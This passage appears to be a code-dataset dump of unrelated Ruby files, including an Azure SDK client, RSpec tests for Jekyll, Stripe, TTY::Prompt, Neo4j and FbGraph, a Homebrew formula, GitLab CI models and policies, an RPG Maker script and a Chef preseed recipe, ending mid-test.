base_url: request_url
}
promise = self.make_request_async(:post, path_template, options)
promise = promise.then do |result|
http_response = result.response
status_code = http_response.status
response_content = http_response.body
unless status_code == 200
error_model = JSON.load(response_content)
fail MsRest::HttpOperationError.new(result.request, http_response, error_model)
end
result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
# Deserialize Response
if status_code == 200
begin
parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content)
result_mapper = Azure::ResourcesManagement::Mgmt::V2018_01_01_preview::Models::CheckNameAvailabilityResult.mapper()
result.body = self.deserialize(result_mapper, parsed_response)
rescue Exception => e
fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result)
end
end
result
end
promise.execute
end
private
#
# Adds telemetry information.
#
def add_telemetry
sdk_information = 'azure_mgmt_resources_management'
sdk_information = "#{sdk_information}/0.17.2"
add_user_agent_information(sdk_information)
end
end
end
| 40.090551 | 154 | 0.702936 |
186eb300f1c84f421e7f9fc714511ba673b645a2 | 3,358 | # frozen_string_literal: true
require 'spec_helper'
RSpec.describe Jekyll::Diagrams::Rendering do
describe '.render_with_stdin_stdout' do
it 'call render_with_command' do
allow(described_class).to receive(:render_with_command)
described_class.render_with_stdin_stdout('command', 'content')
expect(described_class).to have_received(:render_with_command).with(
'command', :stdout, stdin_data: 'content'
)
end
end
describe '.render_with_tempfile' do
before do
allow(described_class).to receive(:render_with_command)
allow(Dir).to receive(:mktmpdir).and_yield('/tmp')
allow(File).to receive(:write)
allow(Tempfile).to receive_message_chain(:new, :close!)
allow(Tempfile).to receive_message_chain(:new, :path)
end
it 'call Dir.mktmpdir to create a direcory' do
allow(Dir).to receive(:mktmpdir)
described_class.render_with_tempfile('command', 'content')
expect(Dir).to have_received(:mktmpdir)
end
it 'call Tempfile.new twice to create temp file' do
described_class.render_with_tempfile('command', 'content') {}
expect(Tempfile).to have_received(:new).twice
end
it 'call render_with_command' do
described_class.render_with_tempfile('command', 'content') {}
expect(described_class).to have_received(:render_with_command)
end
end
describe '.render_with_command' do
it 'call Open3.capture3 to render' do
status = Object.new
allow(status).to receive(:success?).and_return(true)
allow(Open3).to receive(:capture3).and_return(['o', 'e', status])
described_class.render_with_command('command')
expect(Open3).to have_received(:capture3)
end
context 'when command not found' do
it 'raise a command not found error' do
allow(Open3).to receive(:capture3).and_raise(Errno::ENOENT)
expect do
described_class.render_with_command('command_that_is_not_exist')
end.to raise_error Jekyll::Diagrams::Errors::CommandNotFoundError
end
end
context 'when rendering failed' do
before do
status = Object.new
allow(status).to receive(:success?).and_return(false)
allow(Open3).to receive(:capture3).and_return(['o', 'e', status])
end
it 'raise a rendering failed error' do
expect do
described_class.render_with_command('command_that_will_failed')
end.to raise_error Jekyll::Diagrams::Errors::RenderingFailedError
end
end
context 'when output is stdout' do
before do
status = Object.new
allow(status).to receive(:success?).and_return(true)
allow(Open3).to receive(:capture3).and_return(['o', 'e', status])
end
it 'read output from stdout' do
expect(described_class.render_with_command('cmd', :stdout)).to eq 'o'
end
end
context 'when output is a file' do
before do
status = Object.new
allow(status).to receive(:success?).and_return(true)
allow(Open3).to receive(:capture3).and_return(['o', 'e', status])
allow(File).to receive(:read)
end
it 'read output from the file' do
described_class.render_with_command('cmd', 'a_file')
expect(File).to have_received(:read).with('a_file')
end
end
end
end
| 29.982143 | 77 | 0.672126 |
b9105bcbc0fe6e65695af6fa848c05ceb5afc92c | 1,302 | class Atlantis < Formula
desc "Terraform Pull Request Automation tool"
homepage "https://www.runatlantis.io/"
url "https://github.com/runatlantis/atlantis/archive/v0.10.1.tar.gz"
sha256 "98a1dae80acfa1c322007d4a2e29a28733edc386d74b9b3b07608fe64820a843"
bottle do
cellar :any_skip_relocation
rebuild 1
sha256 "cc3388f1553a1c1142bcf59c5357e9b7b8e020790529febe25e42d83e5502875" => :catalina
sha256 "08772b561463ee7a26b620338d1c5d2a1ae8b81af8017d63e00e884ffb0ee1f6" => :mojave
sha256 "e951f14e57a14f631f2b26cf98db73f884115b3ce9a8e6bfa9cbd93b42cfabb6" => :high_sierra
end
depends_on "go" => :build
depends_on "terraform"
def install
system "go", "build", "-ldflags", "-s -w", "-trimpath", "-o", bin/"atlantis"
end
test do
system bin/"atlantis", "version"
port = 4141
loglevel = "info"
gh_args = "--gh-user INVALID --gh-token INVALID --gh-webhook-secret INVALID --repo-whitelist INVALID"
command = bin/"atlantis server --atlantis-url http://invalid/ --port #{port} #{gh_args} --log-level #{loglevel}"
pid = Process.spawn(command)
system "sleep", "5"
output = `curl -vk# 'http://localhost:#{port}/' 2>&1`
assert_match %r{HTTP\/1.1 200 OK}m, output
assert_match "atlantis", output
Process.kill("TERM", pid)
end
end
| 37.2 | 116 | 0.713518 |
e2c32a4ccb59f696b1fe3ee5edbb7de6e8b6f715 | 794 | # frozen_string_literal: true
RSpec.describe SC::Billing::Stripe::PaymentSources::CreateOperation, :stripe do
subject(:call) do
described_class.new.call(user, token)
end
let(:stripe_customer) { Stripe::Customer.create }
let(:user) { create(:user, stripe_customer_id: stripe_customer.id) }
let(:token) { stripe_helper.generate_card_token }
it 'creates payment source', :aggregate_failures do
expect { call }.to change(::SC::Billing::Stripe::PaymentSource, :count).by(1)
expect(call).to be_success
end
context 'when stripe raise error' do
before do
error = Stripe::InvalidRequestError.new('No such token', nil)
StripeMock.prepare_error(error, :create_source)
end
it 'returns failure' do
expect(call).to be_failure
end
end
end
| 27.37931 | 81 | 0.711587 |
b9e89a28a7e55e239862ed81daccbd8e927834f4 | 4,215 | # frozen_string_literal: true
RSpec.describe TTY::Prompt, '#slider' do
subject(:prompt) { TTY::TestPrompt.new }
let(:symbols) { TTY::Prompt::Symbols.symbols }
it "specifies ranges & step" do
prompt.input << "\r"
prompt.input.rewind
expect(prompt.slider('What size?', min: 32, max: 54, step: 2)).to eq(44)
expect(prompt.output.string).to eq([
"\e[?25lWhat size? ",
symbols[:line] * 6,
"\e[32m#{symbols[:bullet]}\e[0m",
"#{symbols[:line] * 5} 44",
"\n\e[90m(Use arrow keys, press Enter to select)\e[0m",
"\e[2K\e[1G\e[1A\e[2K\e[1G",
"What size? \e[32m44\e[0m\n\e[?25h"
].join)
end
it "specifies default value" do
prompt.input << "\r"
prompt.input.rewind
expect(prompt.slider('What size?', min: 32, max: 54, step: 2, default: 38)).to eq(38)
expect(prompt.output.string).to eq([
"\e[?25lWhat size? ",
symbols[:line] * 3,
"\e[32m#{symbols[:bullet]}\e[0m",
"#{symbols[:line] * 8} 38",
"\n\e[90m(Use arrow keys, press Enter to select)\e[0m",
"\e[2K\e[1G\e[1A\e[2K\e[1G",
"What size? \e[32m38\e[0m\n\e[?25h"
].join)
end
it "specifies range through DSL" do
prompt.input << "\r"
prompt.input.rewind
value = prompt.slider('What size?') do |range|
range.default 6
range.min 0
range.max 20
range.step 2
range.format "|:slider| %d%%"
end
expect(value).to eq(6)
expect(prompt.output.string).to eq([
"\e[?25lWhat size? ",
symbols[:pipe] + symbols[:line] * 3,
"\e[32m#{symbols[:bullet]}\e[0m",
"#{symbols[:line] * 7 + symbols[:pipe]} 6%",
"\n\e[90m(Use arrow keys, press Enter to select)\e[0m",
"\e[2K\e[1G\e[1A\e[2K\e[1G",
"What size? \e[32m6\e[0m\n\e[?25h"
].join)
end
it "changes display colors" do
prompt.input << "\r"
prompt.input.rewind
options = {active_color: :red, help_color: :cyan}
expect(prompt.slider('What size?', options)).to eq(5)
expect(prompt.output.string).to eq([
"\e[?25lWhat size? ",
symbols[:line] * 5,
"\e[31m#{symbols[:bullet]}\e[0m",
"#{symbols[:line] * 5} 5",
"\n\e[36m(Use arrow keys, press Enter to select)\e[0m",
"\e[2K\e[1G\e[1A\e[2K\e[1G",
"What size? \e[31m5\e[0m\n\e[?25h"
].join)
end
it "doesn't allow values outside of range" do
prompt.input << "l\r"
prompt.input.rewind
prompt.on(:keypress) do |event|
if event.value = 'l'
prompt.trigger(:keyright)
end
end
res = prompt.slider('What size?', min: 0, max: 10, step: 1, default: 10)
expect(res).to eq(10)
expect(prompt.output.string).to eq([
"\e[?25lWhat size? ",
symbols[:line] * 10,
"\e[32m#{symbols[:bullet]}\e[0m 10",
"\n\e[90m(Use arrow keys, press Enter to select)\e[0m",
"\e[2K\e[1G\e[1A\e[2K\e[1G",
"What size? ",
symbols[:line] * 10,
"\e[32m#{symbols[:bullet]}\e[0m 10",
"\e[2K\e[1G",
"What size? \e[32m10\e[0m\n\e[?25h"
].join)
end
it "changes all display symbols" do
prompt = TTY::TestPrompt.new(symbols: {
bullet: 'x',
line: '_'
})
prompt.input << "\r"
prompt.input.rewind
expect(prompt.slider('What size?', min: 32, max: 54, step: 2)).to eq(44)
expect(prompt.output.string).to eq([
"\e[?25lWhat size? ",
'_' * 6,
"\e[32mx\e[0m",
"#{'_' * 5} 44",
"\n\e[90m(Use arrow keys, press Enter to select)\e[0m",
"\e[2K\e[1G\e[1A\e[2K\e[1G",
"What size? \e[32m44\e[0m\n\e[?25h"
].join)
end
it "changes all display symbols per instance" do
prompt = TTY::TestPrompt.new
prompt.input << "\r"
prompt.input.rewind
answer = prompt.slider('What size?', min: 32, max: 54, step: 2) do |range|
range.symbols bullet: 'x', line: '_'
end
expect(answer).to eq(44)
expect(prompt.output.string).to eq([
"\e[?25lWhat size? ",
'_' * 6,
"\e[32mx\e[0m",
"#{'_' * 5} 44",
"\n\e[90m(Use arrow keys, press Enter to select)\e[0m",
"\e[2K\e[1G\e[1A\e[2K\e[1G",
"What size? \e[32m44\e[0m\n\e[?25h"
].join)
end
end
| 29.475524 | 89 | 0.547805 |
08436dce2ceb97d2c57664540ee6c125762dfe42 | 4,350 | #-------------------------------------------------------------------------------
# This snippet was made to fix some unwanted behaviours of the timer and picture
# sprites on higher resolutions (meaning not the default 544x416 resolution).
# If you are using Yanfly's or Dekita's core scripts, put this below those!
#-------------------------------------------------------------------------------
# Made by: Sixth
#-------------------------------------------------------------------------------
class Spriteset_Map
#--------------------------------------------------------------------------
# alias method: Create Viewport
#--------------------------------------------------------------------------
alias timer_view_new121 create_viewports
def create_viewports
timer_view_new121
@viewportTimer = Viewport.new
@viewportPicture = Viewport.new
@viewportTimer.z = 190
@viewportPicture.z = 170
end
#--------------------------------------------------------------------------
# overwrite method: Create Timer Sprite
#--------------------------------------------------------------------------
def create_timer
@timer_sprite = Sprite_Timer.new(@viewportTimer)
end
#--------------------------------------------------------------------------
# alias method: Free Viewport
#--------------------------------------------------------------------------
alias timer_view_disp_new121 dispose_viewports
def dispose_viewports
timer_view_disp_new121
@viewportTimer.dispose
@viewportPicture.dispose
end
#--------------------------------------------------------------------------
# overwrite method: Update Picture Sprite
#--------------------------------------------------------------------------
def update_pictures
$game_map.screen.pictures.each do |pic|
@picture_sprites[pic.number] ||= Sprite_Picture.new(@viewportPicture, pic)
@picture_sprites[pic.number].update
end
end
#--------------------------------------------------------------------------
# alias method: Update Viewport
#--------------------------------------------------------------------------
alias timer_view_upd_new121 update_viewports
def update_viewports
timer_view_upd_new121
@viewportTimer.color.set($game_map.screen.flash_color)
@viewportTimer.update
@viewportPicture.color.set($game_map.screen.flash_color)
@viewportPicture.update
end
end
class Spriteset_Battle
#--------------------------------------------------------------------------
# alias method: Create Viewport
#--------------------------------------------------------------------------
alias timer_view_new122 create_viewports
def create_viewports
timer_view_new122
@viewportTimer = Viewport.new
@viewportPicture = Viewport.new
@viewportTimer.z = 190
@viewportPicture.z = 170
end
#--------------------------------------------------------------------------
# overwrite method: Create Timer Sprite
#--------------------------------------------------------------------------
def create_timer
@timer_sprite = Sprite_Timer.new(@viewportTimer)
end
#--------------------------------------------------------------------------
# alias method: Free Viewport
#--------------------------------------------------------------------------
alias timer_view_disp122 dispose_viewports
def dispose_viewports
timer_view_disp122
@viewportTimer.dispose
@viewportPicture.dispose
end
#--------------------------------------------------------------------------
# overwrite method: Update Picture Sprite
#--------------------------------------------------------------------------
def update_pictures
$game_troop.screen.pictures.each do |pic|
@picture_sprites[pic.number] ||= Sprite_Picture.new(@viewportPicture, pic)
@picture_sprites[pic.number].update
end
end
#--------------------------------------------------------------------------
# alias method: Update Viewport
#--------------------------------------------------------------------------
alias timer_view_upd122 update_viewports
def update_viewports
timer_view_upd122
@viewportTimer.color.set($game_troop.screen.flash_color)
@viewportTimer.update
@viewportPicture.color.set($game_troop.screen.flash_color)
@viewportPicture.update
end
end | 41.428571 | 80 | 0.445747 |
ac5785d9c91d443185d04fdb129157f6fea4d006 | 2,865 | # frozen_string_literal: true
module Ci
class Processable < ::CommitStatus
include Gitlab::Utils::StrongMemoize
accepts_nested_attributes_for :needs
scope :preload_needs, -> { preload(:needs) }
scope :with_needs, -> (names = nil) do
needs = Ci::BuildNeed.scoped_build.select(1)
needs = needs.where(name: names) if names
where('EXISTS (?)', needs).preload(:needs)
end
scope :without_needs, -> (names = nil) do
needs = Ci::BuildNeed.scoped_build.select(1)
needs = needs.where(name: names) if names
where('NOT EXISTS (?)', needs)
end
def self.select_with_aggregated_needs(project)
aggregated_needs_names = Ci::BuildNeed
.scoped_build
.select("ARRAY_AGG(name)")
.to_sql
all.select(
'*',
"(#{aggregated_needs_names}) as aggregated_needs_names"
)
end
# Old processables may have scheduling_type as nil,
# so we need to ensure the data exists before using it.
def self.populate_scheduling_type!
needs = Ci::BuildNeed.scoped_build.select(1)
where(scheduling_type: nil).update_all(
"scheduling_type = CASE WHEN (EXISTS (#{needs.to_sql}))
THEN #{scheduling_types[:dag]}
ELSE #{scheduling_types[:stage]}
END"
)
end
validates :type, presence: true
validates :scheduling_type, presence: true, on: :create, unless: :importing?
delegate :merge_request?,
:merge_request_ref?,
:legacy_detached_merge_request_pipeline?,
:merge_train_pipeline?,
to: :pipeline
def aggregated_needs_names
read_attribute(:aggregated_needs_names)
end
def schedulable?
raise NotImplementedError
end
def action?
raise NotImplementedError
end
def when
read_attribute(:when) || 'on_success'
end
def expanded_environment_name
raise NotImplementedError
end
def scoped_variables_hash
raise NotImplementedError
end
# Overriding scheduling_type enum's method for nil `scheduling_type`s
def scheduling_type_dag?
scheduling_type.nil? ? find_legacy_scheduling_type == :dag : super
end
# scheduling_type column of previous builds/bridges have not been populated,
# so we calculate this value on runtime when we need it.
def find_legacy_scheduling_type
strong_memoize(:find_legacy_scheduling_type) do
needs.exists? ? :dag : :stage
end
end
def needs_attributes
strong_memoize(:needs_attributes) do
needs.map { |need| need.attributes.except('id', 'build_id') }
end
end
def ensure_scheduling_type!
# If this has a scheduling_type, it means all processables in the pipeline already have.
return if scheduling_type
pipeline.ensure_scheduling_type!
reset
end
end
end
| 26.527778 | 94 | 0.669808 |
e821b083cf1d1be8fd69a3ae4d8e7625474ba934 | 1,108 | case node[:platform]
when "debian","ubuntu"
directory "/var/cache/local/preseeding" do
owner "root"
group "root"
mode 0755
recursive true
end
execute "preseed-mysql-server" do
command "debconf-set-selections /var/cache/local/preseeding/mysql-server.seed"
action :nothing
end
template "/var/cache/local/preseeding/mysql-server.seed" do
source "mysql-server.seed.erb"
backup false
owner "root"
group "root"
mode "0600"
notifies :run, resources(:execute => "preseed-mysql-server"), :immediately
end
execute "preseed-percona-server" do
command "debconf-set-selections /var/cache/local/preseeding/percona-server.seed"
action :nothing
end
template "/var/cache/local/preseeding/percona-server.seed" do
source "percona-server.seed.erb"
backup false
owner "root"
group "root"
mode "0600"
notifies :run, resources(:execute => "preseed-percona-server"), :immediately
end
template "/etc/mysql/debian.cnf" do
source "debian.cnf.erb"
backup false
owner "root"
group "root"
mode "0600"
end
end | 24.086957 | 84 | 0.684116 |
1d7dcfe73dd40e9dce2a705ba6885e78841dd2e9 | 928 | # frozen_string_literal: true
module Releases
class Sync
attr_reader :release, :full, :force
def initialize(release, full: true, force: false)
@release = release
@full = full
@force = force
end
def call
raise ImportError, "no key available: #{release.inspect}" unless release.metal_archives_key?
return release if release.synced? && !force
# Assign attributes
release.assign_attributes(source.attributes)
release.musicbrainz_key = source.musicbrainz_key
# Persist model
release.save!
return release unless full
# Assign associations
# Set synced_at
release.update! synced_at: Time.zone.now
release
end
private
def source
@source ||= Headbanger.container.resolve("releases.source", metal_archives_key: release.metal_archives_key, musicbrainz_key: release.musicbrainz_key)
end
end
end
| 21.581395 | 155 | 0.681034 |
7a5c0b58dcd600e7345ff98a4c8848af9bac8295 | 3,490 | # encoding: utf-8
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator 1.0.0.0
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::RecoveryServicesBackup::Mgmt::V2017_07_01
module Models
#
# Filters to list the jobs.
#
class JobQueryObject
include MsRestAzure
# @return [JobStatus] Status of the job. Possible values include:
# 'Invalid', 'InProgress', 'Completed', 'Failed',
# 'CompletedWithWarnings', 'Cancelled', 'Cancelling'
attr_accessor :status
# @return [BackupManagementType] Type of backup managmenent for the job.
# Possible values include: 'Invalid', 'AzureIaasVM', 'MAB', 'DPM',
# 'AzureBackupServer', 'AzureSql', 'AzureStorage', 'AzureWorkload',
# 'DefaultBackup'
attr_accessor :backup_management_type
# @return [JobOperationType] Type of operation. Possible values include:
# 'Invalid', 'Register', 'UnRegister', 'ConfigureBackup', 'Backup',
# 'Restore', 'DisableBackup', 'DeleteBackupData'
attr_accessor :operation
# @return [String] JobID represents the job uniquely.
attr_accessor :job_id
# @return [DateTime] Job has started at this time. Value is in UTC.
attr_accessor :start_time
# @return [DateTime] Job has ended at this time. Value is in UTC.
attr_accessor :end_time
#
# Mapper for JobQueryObject class as Ruby Hash.
# This will be used for serialization/deserialization.
#
def self.mapper()
{
client_side_validation: true,
required: false,
serialized_name: 'JobQueryObject',
type: {
name: 'Composite',
class_name: 'JobQueryObject',
model_properties: {
status: {
client_side_validation: true,
required: false,
serialized_name: 'status',
type: {
name: 'String'
}
},
backup_management_type: {
client_side_validation: true,
required: false,
serialized_name: 'backupManagementType',
type: {
name: 'String'
}
},
operation: {
client_side_validation: true,
required: false,
serialized_name: 'operation',
type: {
name: 'String'
}
},
job_id: {
client_side_validation: true,
required: false,
serialized_name: 'jobId',
type: {
name: 'String'
}
},
start_time: {
client_side_validation: true,
required: false,
serialized_name: 'startTime',
type: {
name: 'DateTime'
}
},
end_time: {
client_side_validation: true,
required: false,
serialized_name: 'endTime',
type: {
name: 'DateTime'
}
}
}
}
}
end
end
end
end
| 30.884956 | 78 | 0.525788 |
4a06f6de86b95895d0473e67bd8f734fae7cac90 | 3,090 | require 'spec_helper'
require 'gds_api/test_helpers/content_store'
require 'gds_api/test_helpers/email_alert_api'
describe EmailAlertSubscriptionsController, type: :controller do
include GdsApi::TestHelpers::ContentStore
include GdsApi::TestHelpers::EmailAlertApi
include FixturesHelper
include GovukContentSchemaExamples
render_views
let(:signup_finder) { cma_cases_signup_content_item }
describe 'GET #new' do
describe "finder email signup item doesn't exist" do
it 'returns a 404, rather than 5xx' do
content_store_does_not_have_item('/does-not-exist/email-signup')
get :new, params: { slug: 'does-not-exist' }
expect(response.status).to eq(404)
end
end
describe "finder email signup item does exist" do
it 'returns a success' do
content_store_has_item('/does-exist/email-signup', signup_finder)
get :new, params: { slug: 'does-exist' }
expect(response).to be_successful
end
end
end
describe 'POST "#create"' do
let(:finder) { govuk_content_schema_example('finder').to_hash.merge(title: 'alert-name') }
before do
content_store_has_item('/cma-cases', finder)
content_store_has_item('/cma-cases/email-signup', signup_finder)
end
it "fails if the relevant filters are not provided" do
post :create, params: { slug: 'cma-cases' }
expect(response).to be_successful
expect(response).to render_template('new')
end
it 'redirects to the correct email subscription url' do
email_alert_api_has_subscriber_list(
"tags" => {
"case_type" => ['ca98-and-civil-cartels'],
"format" => [finder.dig('details', 'filter', 'document_type')]
},
"subscription_url" => 'http://www.example.com'
)
post :create, params: {
slug: 'cma-cases',
filter: {
'case_type' => ['ca98-and-civil-cartels']
}
}
expect(subject).to redirect_to('http://www.example.com')
end
end
context "with a multi facet signup" do
let(:signup_finder) { cma_cases_with_multi_facets_signup_content_item }
describe 'POST "#create"' do
let(:finder) { govuk_content_schema_example('finder').to_hash.merge(title: 'alert-name') }
before do
content_store_has_item('/cma-cases', finder)
content_store_has_item('/cma-cases/email-signup', signup_finder)
end
it 'redirects to the correct email subscription url' do
email_alert_api_has_subscriber_list(
"tags" => {
"case_type" => ['ca98-and-civil-cartels'],
"case_state" => %w(open),
"format" => [finder.dig('details', 'filter', 'document_type')]
},
"subscription_url" => 'http://www.example.com'
)
post :create, params: {
slug: 'cma-cases',
filter: {
'case_type' => ['ca98-and-civil-cartels'],
'case_state' => %w(open),
}
}
expect(subject).to redirect_to('http://www.example.com')
end
end
end
end
| 31.530612 | 96 | 0.633657 |
5daaf259398eca98c79d0c4ae87c4cbfb8c08d28 | 1,296 | class AdminController < ApplicationController
layout 'admin'
layout 'application', only: [:unsubscribe, :perform_unsubscribe]
before_action :authenticate_user!
before_action :require_admin_access
def dashboard
end
def content_type
type_whitelist = Rails.application.config.content_types[:all].map(&:name)
type = params[:type]
unless type_whitelist.include? type
return
end
@content_type = type.constantize
@relation_name = type.downcase.pluralize.to_sym
end
def universes
end
def characters
end
def locations
end
def items
end
def masquerade
masqueree = User.find_by(id: params[:user_id])
sign_in masqueree
redirect_to root_path
end
def unsubscribe
end
def perform_unsubscribe
emails = params[:emails].split(/[\r|\n]+/)
@users = User.where(email: emails)
@users.update_all(selected_billing_plan_id: 1)
@users.each do |user|
SubscriptionService.cancel_all_existing_subscriptions(user)
UnsubscribedMailer.unsubscribed(user).deliver_now! if Rails.env.production?
end
end
private
def require_admin_access
unless user_signed_in? && current_user.site_administrator
redirect_to root_path, notice: "You don't have permission to view that!"
end
end
end
| 20.903226 | 81 | 0.725309 |
03c4c4556a2f3ea109a41523af642e5cb9989962 | 725 | describe 'works well together with Neo4j::Core' do
let(:clazz) do
UniqueClass.create do
include Neo4j::ActiveNode
has_many :out, :stuff, type: :stuff, model_class: false
end
end
it 'can add Neo4j::Node to declared relationships' do
obj = clazz.create
node = Neo4j::Node.create
obj.stuff << node
result = Neo4j::Session.query.match(:n).where('ID(n) = {obj_neo_id}').params(obj_neo_id: obj.neo_id).match('(n)-[:stuff]->(m)')
result = result.pluck(:m)
expect(result).to eq([node])
end
it 'can retrieve Neo4j::Node from declared relationships' do
obj = clazz.create
node = Neo4j::Node.create
obj.stuff << node
expect(obj.stuff.to_a).to eq([node])
end
end
| 29 | 131 | 0.656552 |
d5ba42d750c02d499441363a67398a3a7b48451c | 702 | # frozen_string_literal: true
class MergeRequestPolicy < IssuablePolicy
rule { locked }.policy do
prevent :reopen_merge_request
end
# Only users who can read the merge request can comment.
# Although :read_merge_request is computed in the policy context,
# it would not be safe to prevent :create_note there, since
# note permissions are shared, and this would apply too broadly.
rule { ~can?(:read_merge_request) }.prevent :create_note
rule { can?(:update_merge_request) }.policy do
enable :approve_merge_request
end
rule { ~anonymous & can?(:read_merge_request) }.policy do
enable :create_todo
end
end
MergeRequestPolicy.prepend_if_ee('EE::MergeRequestPolicy')
| 29.25 | 67 | 0.753561 |
d5072c329c8ca5f690bfac5a4e3d8059c14e1065 | 374 | # encoding: UTF-8
# frozen_string_literal: true
module Dump
# Get rails app root (Rails.root or RAILS_ROOT or fail)
module RailsRoot
def rails_root
case
when defined?(Rails)
Rails.root
when defined?(RAILS_ROOT)
RAILS_ROOT
else
fail 'Unknown rails app root'
end.to_s
end
Dump.extend RailsRoot
end
end
| 17.809524 | 57 | 0.639037 |
39c6689a5894d75cd1c912f689cc1517aee4e408 | 266 | class CreateStartOverlapMeetings < ActiveRecord::Migration
def self.up
create_table :start_overlap_meetings do |t|
t.date :starts_at
t.date :ends_at
t.timestamps
end
end
def self.down
drop_table :start_overlap_meetings
end
end
| 19 | 58 | 0.714286 |
bfe8a6d3e56ed4be1007f19bd2a9f7176a3f7cd7 | 6,844 | require 'spec_helper'
describe FbGraph::Auth do
let :optional_attributes do
{}
end
let(:auth) { FbGraph::Auth.new('client_id', 'client_secret', optional_attributes) }
subject { auth }
its(:client) { should be_a(Rack::OAuth2::Client) }
describe 'client' do
subject { auth.client }
let :optional_attributes do
{:redirect_uri => 'https://client.example.com/callback'}
end
its(:identifier) { should == 'client_id' }
its(:secret) { should == 'client_secret' }
its(:redirect_uri) { should == 'https://client.example.com/callback' }
end
context 'when invalid cookie given' do
let :optional_attributes do
{:cookie => 'invalid'}
end
it 'should raise FbGraph::VerificationFailed' do
expect do
auth
end.should raise_exception(FbGraph::Auth::VerificationFailed)
end
end
context 'when invalid cookie given' do
let :optional_attributes do
{:signed_request => 'invalid'}
end
it 'should raise FbGraph::VerificationFailed' do
expect do
auth
end.should raise_exception(FbGraph::Auth::VerificationFailed)
end
end
describe '#authorized?' do
context 'when access_token is given' do
before do
auth.access_token = 'access_token'
end
its(:authorized?) { should be_true }
end
context 'otherwise' do
its(:authorized?) { should be_false }
end
end
describe '#authorize_uri' do
let(:canvas_uri) { 'http://client.example.com/canvas' }
subject { auth.authorize_uri(canvas_uri) }
it { should == "https://www.facebook.com/dialog/oauth?client_id=client_id&redirect_uri=#{CGI.escape canvas_uri}" }
context 'when params are given' do
subject { auth.authorize_uri(canvas_uri, :scope => [:scope1, :scope2], :state => 'state1') }
it { should == "https://www.facebook.com/dialog/oauth?client_id=client_id&redirect_uri=#{CGI.escape canvas_uri}&scope=#{CGI.escape "scope1,scope2"}&state=state1" }
end
end
describe '#from_cookie' do
let :cookie do
{
'fbsr_client_id' => "9heZHFs6tDH/Nif4CqmBaMQ8nKEOc5g2WgVJa10LF00.eyJhbGdvcml0aG0iOiJITUFDLVNIQTI1NiIsImNvZGUiOiI4ZDYwZDY4NDA4MmQ1NjczMjY3MWUxNzAuMS01Nzk2MTIyNzZ8N2pkVlp6MlNLNUY2b0gtQ21FQWtZZVpuVjEwIiwiaXNzdWVkX2F0IjoxMzEyOTUzOTcxLCJ1c2VyX2lkIjo1Nzk2MTIyNzZ9"
}
end
it 'should exchange code with access token' do
expect do
auth.from_cookie(cookie)
end.should request_to '/oauth/access_token', :post
end
it 'should setup user and access_token' do
mock_graph :post, '/oauth/access_token', 'token_response' do
auth.access_token.should be_nil
auth.user.should be_nil
auth.from_cookie(cookie)
auth.access_token.should be_a Rack::OAuth2::AccessToken::Legacy
auth.access_token.access_token.should == 'token'
auth.user.should be_a FbGraph::User
auth.user.identifier.should == 579612276
auth.user.access_token.access_token.should == 'token'
auth.data.should == {
"algorithm" => "HMAC-SHA256",
"code" => "8d60d684082d56732671e170.1-579612276|7jdVZz2SK5F6oH-CmEAkYeZnV10",
"issued_at" => 1312953971,
"user_id" => 579612276
}
end
end
context 'when invalid cookie given' do
it 'should raise FbGraph::VerificationFailed' do
lambda do
auth.from_cookie('invalid')
end.should raise_exception(FbGraph::Auth::VerificationFailed)
end
end
context 'when Rack::OAuth2::Client::Error occurred' do
it 'should raise FbGraph::Exception' do
mock_graph :post, 'oauth/access_token', 'blank', :status => [401, 'Unauthorized'] do
lambda do
auth.from_cookie(cookie)
end.should raise_exception FbGraph::Exception
end
end
end
end
describe '#from_signed_request' do
let :signed_request do
"LqsgnfcsRdfjOgyW6ZuSLpGBVsxUBegEqai4EcrWS0A=.eyJhbGdvcml0aG0iOiJITUFDLVNIQTI1NiIsImV4cGlyZXMiOjAsImlzc3VlZF9hdCI6MTI5ODc4MzczOSwib2F1dGhfdG9rZW4iOiIxMzQxNDU2NDMyOTQzMjJ8MmI4YTZmOTc1NTJjNmRjZWQyMDU4MTBiLTU3OTYxMjI3NnxGS1o0akdKZ0JwN2k3bFlrOVhhUk1QZ3lhNnMiLCJ1c2VyIjp7ImNvdW50cnkiOiJqcCIsImxvY2FsZSI6ImVuX1VTIiwiYWdlIjp7Im1pbiI6MjF9fSwidXNlcl9pZCI6IjU3OTYxMjI3NiJ9"
end
it 'should setup user and access_token' do
auth.access_token.should be_nil
auth.user.should be_nil
auth.from_signed_request(signed_request)
auth.access_token.should be_a Rack::OAuth2::AccessToken::Legacy
auth.access_token.access_token.should == '134145643294322|2b8a6f97552c6dced205810b-579612276|FKZ4jGJgBp7i7lYk9XaRMPgya6s'
auth.user.should be_a FbGraph::User
auth.user.identifier.should == '579612276'
auth.user.access_token.access_token.should == '134145643294322|2b8a6f97552c6dced205810b-579612276|FKZ4jGJgBp7i7lYk9XaRMPgya6s'
auth.data.should include(
"expires"=>0,
"algorithm"=>"HMAC-SHA256",
"issued_at"=>1298783739
)
auth.data['user'].should include(
"country"=>"jp",
"locale"=>"en_US",
"age"=>{"min"=>21}
)
end
context 'when expires included' do
let :signed_request do
"bzMUNepndPnmce-QdJqvkigxr_6iEzOf-ZNl-ZitvpA.eyJhbGdvcml0aG0iOiJITUFDLVNIQTI1NiIsImV4cGlyZXMiOjEzMjA2NjAwMDAsImlzc3VlZF9hdCI6MTI5ODc4MzczOSwib2F1dGhfdG9rZW4iOiIxMzQxNDU2NDMyOTQzMjJ8MmI4YTZmOTc1NTJjNmRjZWQyMDU4MTBiLTU3OTYxMjI3NnxGS1o0akdKZ0JwN2k3bFlrOVhhUk1QZ3lhNnMiLCJ1c2VyIjp7ImNvdW50cnkiOiJqcCIsImxvY2FsZSI6ImVuX1VTIiwiYWdlIjp7Im1pbiI6MjF9fSwidXNlcl9pZCI6IjU3OTYxMjI3NiJ9"
end
it 'should have expires_in' do
auth.from_signed_request(signed_request)
auth.access_token.expires_in.should be_a Integer
end
end
context 'when invalid signed_request given' do
it 'should raise FbGraph::VerificationFailed' do
lambda do
auth.from_signed_request('invalid.signed_request')
end.should raise_exception(FbGraph::Auth::VerificationFailed)
end
end
end
describe "#from_session_key" do
let(:session_key) { 'my_session_key'}
it "should exchange the session key for an oauth token" do
